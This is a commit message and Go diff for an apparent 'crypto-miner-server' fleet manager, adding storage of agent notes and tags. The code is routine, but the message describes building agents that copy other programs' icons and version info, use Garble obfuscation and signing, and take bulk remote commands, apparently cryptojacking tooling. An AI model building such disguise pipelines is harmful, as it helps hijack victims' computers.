Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/internal/db/agent_meta.go

@@ -0,0 +1,58 @@
+package db
+
+import (
+	"encoding/json"
+	"strings"
+
+	"crypto-miner-server/internal/models"
+)
+
+func decodeTags(raw string) []string {
+	raw = strings.TrimSpace(raw)
+	if raw == "" || raw == "[]" {
+		return []string{}
+	}
+	var tags []string
+	if err := json.Unmarshal([]byte(raw), &tags); err != nil {
+		return []string{}
+	}
+	return tags
+}
+
+func encodeTags(tags []string) string {
+	if len(tags) == 0 {
+		return "[]"
+	}
+	b, _ := json.Marshal(tags)
+	return string(b)
+}
+
+func (d *Database) scanAgent(row interface {
+	Scan(dest ...any) error
+}) (*models.Agent, error) {
+	a := &models.Agent{}
+	var notes, tagsRaw string
+	err := row.Scan(
+		&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
+		&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
+		&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
+		&a.SharesTotal, &a.SharesGood, &a.SharesBad,
+		&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
+		&notes, &tagsRaw,
+	)
+	if err != nil {
+		return nil, err
+	}
+	a.Notes = notes
+	a.Tags = decodeTags(tagsRaw)
+	return a, nil
+}
+
+const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
+		hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
+		cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
+
+func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
+	_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
+	return err
+}